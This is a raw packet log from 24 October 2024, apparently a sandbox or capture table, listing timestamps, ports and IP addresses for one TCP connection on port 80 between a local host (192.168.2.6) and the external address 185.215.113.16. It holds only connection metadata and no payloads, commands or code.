Oct 24, 2024 09:07:29.841710091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841800928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841808081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841810942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841820955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841833115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841842890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841864109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841892958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841909885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841921091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841932058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841949940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841959000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841991901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842082977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842094898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842104912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842117071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842130899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842132092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842147112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842150927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842152119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842153072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842159986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842184067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842214108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842406034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842415094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842421055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842426062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842431068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842442036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842452049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842459917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842526913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842526913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842581034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842590094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842600107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842611074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842621088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842632055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842639923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842639923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842659950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842689037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842710972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842721939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842731953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842746973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842751026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842761040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842767000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842771053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.842807055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.842835903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843007088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843010902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843022108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843030930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843043089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843051910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843055964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843063116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843074083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843075991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843086004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843094110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843125105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843238115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843247890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843259096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843269110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843280077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843285084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843290091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843300104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843307972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843317986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843324900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843364954 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843403101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843416929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843431950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843436956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843439102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.843445063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.843476057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844096899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844121933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844139099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844156027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844172955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844172955 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844196081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844201088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844214916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844228983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844240904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844245911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844264030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844273090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844285011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844301939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844305038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844326973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844341993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844352007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844360113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844374895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844386101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844392061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844409943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844413996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844429970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844444990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844464064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844471931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844480038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.844502926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.844530106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.849916935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885499954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885535002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885551929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885571003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885581017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885596991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885621071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885648966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885673046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885689020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885694027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885720015 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885799885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885816097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885833979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885847092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885864973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885869980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885884047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.885891914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.885925055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957669020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957700968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957716942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957742929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957758904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957775116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957803965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957808971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957817078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957808971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957839012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957845926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957858086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957875013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957895041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957895041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957895994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957921028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.957952023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.957994938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958019018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958033085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958049059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958065987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958064079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958064079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958086967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958102942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958129883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958147049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958204031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958201885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958261013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958297014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958313942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958329916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958359003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958362103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958376884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958403111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958408117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958420992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958437920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958451033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958484888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958530903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958547115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958564043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958580017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958595037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958597898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958621979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958647966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958662033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958676100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958693027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958703995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958708048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958725929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958725929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958761930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958843946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958859921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958875895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958893061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958909035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958909988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958925009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958933115 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.958942890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.958951950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959003925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959048986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959074974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959083080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959099054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959115982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959124088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959131956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959141970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959178925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959197998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959213972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959229946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959245920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959259987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959261894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959279060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959280968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959294081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959319115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959336996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959340096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959359884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959476948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959492922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959507942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959526062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959538937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959542990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959557056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959558964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959578991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959594965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959599972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959609032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959621906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959626913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959661961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959703922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959722042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959737062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959753036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959759951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959769964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959778070 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959786892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959824085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959835052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959850073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959865093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959881067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.959882021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959899902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.959992886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960006952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960021973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960037947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960046053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960053921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960063934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960072041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960088968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960093975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960109949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960114956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960131884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960146904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960158110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960202932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960325003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960340977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960355997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960371017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960377932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960390091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960407019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960413933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960438967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960453033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960459948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960469961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960486889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960503101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960513115 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960520983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960530996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960567951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960613012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960628033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960652113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960668087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960669994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960691929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960705996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960709095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960750103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.960961103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960977077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.960992098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961007118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961023092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961034060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961050034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961051941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961066008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961081982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961095095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961098909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961114883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961132050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961133957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961147070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961152077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961163998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961182117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961190939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961196899 CEST	80	49772	185.215.113.16	192.168.2.6
